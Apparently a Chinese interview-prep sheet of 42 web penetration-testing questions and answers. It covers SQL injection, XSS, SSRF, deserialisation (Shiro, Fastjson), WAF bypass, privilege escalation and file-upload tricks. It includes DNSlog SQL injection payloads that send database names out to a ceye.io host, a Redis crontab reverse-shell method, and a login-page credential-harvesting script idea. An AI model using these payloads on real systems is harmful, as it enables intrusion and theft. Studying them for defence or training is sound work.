*一、Web常问(42*) **
*1. SQL注入原理的种类?防御呢?预***编译原理? **
原理:在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判
断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。
种类:字符,数字,布尔,报错,延迟,联合,堆叠,宽字节,XFF等
修复:使用预编译,PDO,正则表达式过滤,开启魔术引号,加装WAF等
预编译原理:预编译将一次查询通过两次交互完成,第一次交互发送查询语句的
模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代
入AST或Opcode中执行,无论后续向模板传入什么参数,这些参数仅仅被当成
字符串进行查询处理,因此杜绝了sql注入的产生。
*2.XSS***的种类有哪些?区别?修复呢? **
种类:存储型,反射型,DOM型
区别:存储型:常出现在信息修改添加等地方,导致恶意代码被存储在数据库
中,每当被攻击者访问到后就会触发执行;反射型:常出现在url中,一般需要
攻击者提前构造好恶意链接,欺骗用户点击,触发攻击代码;DOM型:攻击代
码在url中,然后输出在了浏览器的DOM节点中。简单比较会发现,存储和反射
都经过服务器,而DOM是纯前端。
修复:对输入数据进行Html Encode 处理,白名单过滤,过滤JavaScript 事件的
标签,开启http-only,装WAF等。
3. XSS,CSRF和SSRF**区别?(很常问) **
XSS: 跨 站 脚 本 攻 击 ;
CSRF:跨站请求伪造脚本攻击;
SSRF:服务器请求伪造攻击。
区别:XSS是服务器对用户输入的数据没有进行足够的过滤,导致客户端浏览器
在渲染服务器返回的html页面时,出现了预期值之外的脚本语句被执行。
CSRF:CSRF是服务器端没有对用户提交的数据进行随机值校验,且对http请求
包内的refer字段校验不严,导致攻击者可以利用用户的Cookie信息伪造用户请
求发送至服务器。 SSRF:SSRF是服务器对用户提供的可控URL过于信任,没有
对攻击者提供的RUL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻
击内网或其他服务器。
*4.XXE***漏洞了解吗? **
XXE漏洞即xml外部实体注入漏洞,发生在应用程序解析XML输入时,没有禁止外
部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端
口、攻击内网网站、发起dos攻击等危害。
*5.PHP***反序列化有了解吗? **
序列化就是将一个对象转换成字符串,反序列化则反之,将字符串重新转化为对
象。
此外,PHP反序列化又可以简单分成两种,一种无类,一种有类,无类利用就略
微简单,如果源码会将输入的值进行反序列化,那我们就需要提前将数据序列化
后再传入。而想要利用有类就要用到魔术方法,而魔术方法就像一个潜规则一
样,例如我们在创建对象时,就会触发 construct(),并执行 construct()中的代
码。
5.1 JAVA反序列化了解吗?有没有了解过shrio反序列化?(最常问,无论hvv还是
工作面试)?
Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,其
作用把对象转换成字节流,便于保存或者传输,而ObjectInputStream类的
readObject()方法用于反序列化,作用就是把字节流还原成对象。
shiro反序列化主要是Apache shiro提供了一个remember的一个功能,用
户登录成功后会生成经过加密并编码的cookie,保存在浏览器中方便用户的
日常使用,而服务器对cookie的处理流程就是先获取浏览器上保存的
cookie,然后将其bs64解码,再进行AES解密,再将其反序列化进行校验,
而漏洞就是出现在这里,我们都知道AES它是一个硬编码,他是有默认密钥
的,如果程序员没有去修改或者过于简单,那我们就可以进行cookie重构,
先构造我们的恶意代码,然后将恶意代码进行序列化,然后AES加密(密钥我
们已经爆破出来了),再进行bs64编码,形成我们新的cookie,而服务器在
处理时就会按照刚才的处理流程,就会在服务端触发我们构造的恶意代码。
**6.****逻辑漏洞遇到过哪些,给你登录框有没有什么思路? **
常见逻辑漏洞:越权,响应包修改,支付金额修改,cookie爆破,密码找回方面
等等
登录页面思路:爆破,session覆盖,sql注入,xss,任意用户注册,js文件查看
敏感信息,短信轰炸,万能密
码,二次注入,模板注入等等
*7.CDN和DNS区别?CDN***绕过思路? **
CDN:内容分发网络,主要作用就是让用户就近访问网络资源,提高响应速度,
降低网络拥堵。
DNS:域名服务器,主要作用就是将域名翻译成ip地址。
CDN绕过思路:子域名,内部邮件,黑暗引擎搜索,国外ping,证书及DNS查
询,app抓包,配置不当泄露,扫全网,DOS攻击等。
**8.****常见的中间件漏洞知道哪些? **
IIS:PUT漏洞、短文件名猜解、远程代码执行、解析漏洞等
Apache:解析漏洞、目录遍历等
Nginx:文件解析、目录遍历、CRLF注入、目录穿越等
Tomcat:远程代码执行、war后门文件部署等
JBoss:反序列化漏洞、war后门文件部署等
WebLogic:反序列化漏洞、SSRF任意文件上传、war后门文件部署等
...........
*9.WAF***绕过的手法你知道哪些? **
这里从以sql注入为例,从三个层面简单总结一下手法。
1.从架构层面:找到服务器真实IP,同网段绕过,http和https同时开放服务绕
过,边缘资产漏洞利用绕过。
2.从协议层面:分块延时传输,利用pipline绕过,利用协议未覆盖绕过,POST
及GET提交绕过。
3.从规则层面:编码绕过,等价符号替换绕过,普通注释和内敛注释,缓冲区溢
出,mysql黑魔法,白名单及静态资源绕过,文件格式绕过,参数污染。
**10.****命令无回显如何解决? **
无回显:延时判断,http请求监听,DNSlog利用,写入当前目录下载查看等
等。
*11.3389***端口无法连接的几种情况? **
1.3389关闭状态,2.端口修改,3.防火墙连接,4.处于 内网环境,5.超过了服务
器最大连接数,6.管理员设置 权限,指定用户登录。
**12.****常 问 的 端 口 信 息 ? **
21:FTP文件传输协议
22:SSH远程连接23:
TELNET远程登录25:
SMTP邮件服务53:
DNS域名系统
80:HTTP超文本传输协议
443:HTTPS安全超文本传输协议
1433:MSSQL
3306:MYSQL
3389:windows远程桌面服务端口
7701:weblogic
8080:TCP,HTTP协议代理服务器:Apache-tomcat默认端口号
**13.渗透测试的流程?(主要看自己) **
单一网站:先判断有无CDN,有先找真实ip,无的话扫扫旁站,c段,此外识别
CMS,看看使用什么中间件,
插件,系统等等,再对其进行端口探测,目录扫描,查看网站的js文件,看看有
没有敏感信息泄露,找找看
看有没有app,公众号之类的等等扩大资产面,然后对收集到的信息进行常规的
漏洞探测
网段或区域:使用goby工具对资产进行一个批量的扫描,批量打点,然后对可
能存在漏洞的薄弱点进行漏洞探测
**14.****什么是逻辑漏洞?说出至少三种业务逻辑漏洞,以及修复方式? **
逻辑漏洞是指由于程序逻辑不严或逻辑太复杂,导致一些逻辑分支不能够正常处
理或处理错误。
拿支付漏洞来说,简单思路有价格修改,支付状态修改,数量最大值溢出,订单
替换,支付接口替换,四舍五入,越权支付等等。
拿登录来说,修改状态信息,密码修改跳过验证等等。
密码找回漏洞中存在:1)密码允许暴力破解、2)存在通用型找回凭证、3)可
以跳过验证步骤、4)找回凭证可以拦包获取。身份认证漏洞中最常见的是:1)会话固定攻击、2)Cookie 仿冒。只要得到Session 或 Cookie 即可伪造用户身
份。
验证码漏洞中存在:1)验证码允许暴力破解、2)验证码可以通过Javascript 或
者改包的方法来进行绕过。
**15.****未授权访问你可以简单说说吗 **
Redis 未授权访问漏洞
未开启认证,导致可以直接连接到数据库,
然后在攻击机中生成ssh公钥和私钥,密码设置为空,
然后将生成的公钥写入,再利用私钥连接。
JBOSS 未授权访问漏洞
访问ip/jmx-console 就可以浏览jboss 的部署管理的信息面板,不需要输入用户
名和密码可以直接部署上传木马。
简单来说就是对某些页面的验证不严格导致绕过了用户验证的环节,使其可以直
接访问到某些登录后才能访问到的页面。
**16.****打点一般会用什么漏洞? **
优先以java反序列化这些漏洞像shiro,fastjson,weblogic,用友oa等等进行打
点,随后再找其他脆弱性易打进去的点。因为javaweb程序运行都是以高权限有
限运行,部分可能会降权。
*17.平常怎么去发现shiro***漏洞的? **
登陆失败时候会返回rememberMe=deleteMe字段或者使用shiroScan被动扫描
去发现
完整:
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set
Cookie里也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有
rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有
rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有
rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有
rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中
Cookie都会有rememberMe字段
*18.weblogic***权限绕过? **
通过静态资源来绕过权限验证,防止被重定向到登陆界面。
通过请求.portal ,控制处理的Servlet 是渲染UI 的
MBeanUtilsInitSingleFileServlet 。
通过编码后的../ ,让最终渲染的模版是console.portal 。
*19.fastjson***漏洞利用原理? **
在请求包里面中发送恶意的json格式payload,漏洞在处理json对象的时候,没
有对@type字段进行过滤,从而导致攻击者可以传入恶意的TemplatesImpl类,
而这个类有一个字段就是 _bytecodes ,有部分函数会根据这个 _bytecodes 生
成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执
行构造函数。
*20.拿到webshell***不出网情况下怎么办? **
reg上传去正向连接。探测出网协议,如dns,icmp。
**21.PHP 代码执行的危险函数?PHP ****命令执行函数? **
PHP 代码执行的危险函数:call_user_func()、call_user_func_array()、
create_function()、array_map()
PHP 命令执行函数:system()、shell_exec()、passthru()、exec()、popen()、
proc_open()、putenv()
*22.Sql 注入无回显的情况下,利用 DNSlog,mysql 下利用什么构造代码?***mssql ****下又如何? **
没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火墙
的存在,容易被封禁IP,可以尝试调整请求频率,有条件的使用代理池进行请
求。
此时也可以使用DNSlog 注入,原理就是把服务器返回的结果放在域名中,然后
读取DNS 解析时的日志,来获取想要的信息。
Mysql 中利用load_file() 构造payload: ' and if((select load_file(concat('\',
(selectdatabase()),'.xxx.cey e.io\abc'))),1,0)#
Mssql 下利用master..xp_dirtree 构造payload:DECLARE @ host
varchar(1024);SELECT @ host=(SELECTdb_name())+'.
xxx.ceye.io';EXEC('master..xp_dirtree"'+@host+'\foobar$"');
*23.phpmyadmin写sehll***的方法? **
常规导入shell的操作
一句话导出shell
日志备份获取shell
**24.****缓冲区溢出原理 **
由于C/C++语言没有数组越界检查机制,当向局部数组缓冲区里写入的数据超过
为其分配的大小时,就会发生缓冲区溢出。攻击者可利用缓冲区溢出来窜改进程
运行时栈,从而改变程序正常流向,轻则导致程序崩溃,重则系统特权被窃取。
比如只有1000,你写入1500,多出了500,其中的100在汇编里调用JMP,剩下
400是shellcode,那100字节调用JMP跳到shellcode,然后反弹连接。
**25.SSRF 禁用 127.0.0.1 ****后如何绕过,支持哪些协议? **
(1) 利用进制转换
(2) 利用DNS解析
(3) 利用句号(127。0。0。1)
(4) 利用[::](http://[::]:80/);
(5) 利用@(http ://example.com@127.0.0.1);
(6) 利用短地址(http ://dwz.cn/11SMa);
(7) 协议(Dict://、SFTP://、TFTP://、LDAP://、Gopher://)
*26.phar协议如何利用,php伪协议input与post***数据包 ****发送有什么区别? **
可以Bypass一些waf,绕过上传限制
Phar反序列化,Phar:// 伪协议读取phar文件时,会反序列化meta-data储存
区别
application/x-www-form-urlencoded 或multipart/form-data时,
php://input 中是原始数据。 $_POST 中是关联数组,且没有上传控件的内
容。
enctype="multipart/form-data" 时php://input 是无效的。
Content-Type = "text/plain"时,$_POST 不能获取post的数据,
php://input可以。
*27.ssrf怎么用redis写shell***? **
SSRF服务端请求伪造:
一、对内网扫描,获取banner 。
二、攻击运行在内网的应用,主要是使用GET 参数就可以实现的攻击(比如
Struts2,sqli 等)。
三、利用协议读取本地文件。
四、 云计算环境AWS Google Cloud 环境可以调用内网操作ECS 的 API。
webligic SSRF漏洞:通过SSRF的gopher协议操作内网的redis,利用redis将反
弹shell写入crontab定时任务,url编码,将\r字符串替换成%0d%0a。
*28.sqlmap***自带脚本你知道哪些?由编写过吗? **
1、apostrophemask.py :将引号替换为UTF-8,用于过滤单引号。
2、base64encode.py :替换为base64编码。
3、multiplespaces.py:围绕SQL关键字添加多个空格。
4、space2plus.py:用+号替换为空格。
*29. SVN/GIT***源代码泄露? **
在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中
包含重要的源代码信息:
使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直
接部署到线上环境。这就引起了git泄露漏洞。
*30.提权你了解过吗?udf***提取原理是什么 **
将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
从udf文件中引入自定义函数(user defined function)
执行自定义函数
**31.****讲诉一些近期及有代表性的漏洞 **
Microsoft Exchange .Net反序列化远程代码执行(CVE-2020-0688):该漏洞是由
于Exchange控制面板(ECP)组件中使用了静态密钥validationKey和
decryptionKey。
Apache Tomcat 文件包含漏洞(CVE-2020-1938):默认情况下,Tomcat会开启
AJP连接器, Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意
的请求,可以读取或者包含Web根目录下的任意文件,配合文件上传,将导致任意
代码执行(RCE)。
Weblogic IIOP反序列化漏洞(CVE-2020-2551):weblogic核心组件中IIOP协
议,通过该协议对存在漏洞的WebLogic进行远程代码执行的攻击。Apache Solr远程代码执行(CVE-2019-12409):默认配置文件solr.in.sh,在其
配置文件中ENABLE_REMOTE_JMX_OPTS字段默认配置不安全.如果使用默认配
置,将启用JMX监视服务并将对公网监听18983的RMI端口,无需任何验证,配合JMX
RMI远程代码执行。
SHIRO-550 反序列化漏洞:shiro默认使用了CookieRememberMeManager,
其处理cookie的流程是:得到rememberMe的cookie值-->Base64解码-->AES解
密-->反序列化。AES的密钥是硬编码在代码里,就导致了反序列化的RCE漏洞。
SHIRO-721反序列化漏洞:不需要key,利用PaddingOracle Attack构造出
RememberMe字段后段的值结合合法的RememberMe cookie即可完成攻击。
泛微Ecology OA SQL注入漏洞:validate.jsp接口的SQL注
入,/cpt/manage/validate.jsp。泛微ecology OA系统接口存在数据库配置信息
泄露:/mobile/dbconfigreader.jsp,直接访问该页面将为DES加密以后的乱码,使
用DES算法结合硬编码的key进行解密。
Confluence 本 地 文 件 泄 露 漏 洞 (CVE-2019-3394)catalina.jar中的
org.apache.catalina.webresources.StandardRoot.class的getResource方法的
validate存在过滤和限制,所以可遍历路径均在/WEB-INF下。
Apache Dubbo反序列化漏洞(CVE-2019-17564):当HTTP remoting 开启的
时候,存在反序列化漏洞。
**32.****了解过解析漏洞,分别有哪些? **
IIS:
1、在网站目录*.asp*、.asa下的任何扩展名的文件格式都会被解析为asp并执行在
目录*.asp*下,.txt文本文件被解析。
2、在IIS6.0上,分号; 后面的不解析。
nginx:
1、在网站目录下创建文件demo2.jpg,然后再浏览器 中 访 问 http://192.168.1
1.131/test2/demo2.jpg/aaa.php服务器对请求的内容是从右向左的。Nginx拿
到文件路径(更专业的说法是URI)/test.jpg/test.php后,一看后缀是.php,便
认为该文件是php文件,转交给php去处理。php一看/test.jpg/test.php不存
在,便删去最后的/test.php,又看/test.jpg存在,便把/test.jpg当成要执行的文
件了,又因为后缀为.jpg,php认为这不是php文件,于是返回“Access
denied.”。
2、00截断
apache
1、Apache解析文件的时候是按照从右向左的方
式,直到遇到自己能解析的脚本后缀
*33.为何一个mysql数据库的站,只有一个80***端口开放? **
更改了端口,没有扫描出来。站库分离。3306端口不对外开放。
*34.注入时可以不使用and 或or 或xor,直接*order by开始注入吗? **
and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定
是注入点那就可以省那步骤去。
*35.在有shell的情况下,如何使用xss***实现对目标站的长 ****久控制? **
后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成
功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件
中。(此方法适合有价值并且需要深入控制权限的网络)。
在登录后才可以访问的文件中插入XSS脚本。
**36.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.****什么原因? **
原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后
缀名绕过。
*37.access 扫出后缀为asp的数据库文件,访问乱码。如*何实现到本地利用? **
迅雷下载,直接改后缀为.mdb。
**38.对于不能直接上传而且只能通过命令行执行的shell,应该怎么办? **
使用bitsadmin 进行下载
使用powershell 进行下载
使用certutil 进行下载
使用WGET 进行下载https://blog.csdn.net/weixin_42918771/article/details/1
10394116
*39.shiro***不出网怎么利用? **
定位Web目录写入文件
构造回显
内存马
时间延迟获取Web路径写入webshell
*40.文件包含Getshell***思路? **
php中引发文件包含漏洞的通常是以下四个函数:
- include()
- include_once()
- require()
- require_once()
reuqire()
如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句
include()
如果出错的话,只会提出警告,会继续执行后续语句。
require_once()
和
include_once()
功能与
require()
和
include()
类似。但如果一个文件已经被包含过了,则
require_once()
和
include_once()
则不会再包含它,以避免函数重定义或变量重赋值等问题。
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。
*41.文件上传绕过WAF***思路? **
引号变换
大小写变换
添加换行符
多个分号
多个等号
变换Content-Disposition的值
畸形的boundary头部
交换name和filename的顺序
交换Content-Disposition和Content-Type的顺序
交换不同boundary内容的顺序
boundary内容重复
filename重复
数据溢出
name与filename之间插入垃圾数据
boundary字符串中加入垃圾数据
boundray末尾插入垃圾数据
multipart/form-data与boundary之间插入垃圾数据
数据截断
回车换行截断
分号截断
引号截断
00截断
*42.xss的防护方法有哪些呢?httponly***绕过? **
输 入 过 滤
纯前端渲染
转义HTML
CVE-2012-0053。
PHPINFO页面(如果目标网站存在PHPINFO页面,就可以通过
XMLHttpRequest请求该页面获取Cookie信息($_SERVER[“HTTP_COOKIE”]会
打印出具有httponly属性的cookies))。
iframe框架钓鱼(通过标签嵌入一个远程域,完全撑开后,以覆盖原有的页
面)。跳转钓鱼(通过购买相似名,构建相同的钓鱼页面,使受害者跳转至钓鱼
站)。
历史密码(通过js伪造登录表单,欺骗浏览器自动填入,由此获取浏览器记住的
历史密码)。
版权归原作者 兔子tozi 所有, 如有侵权,请联系我们删除。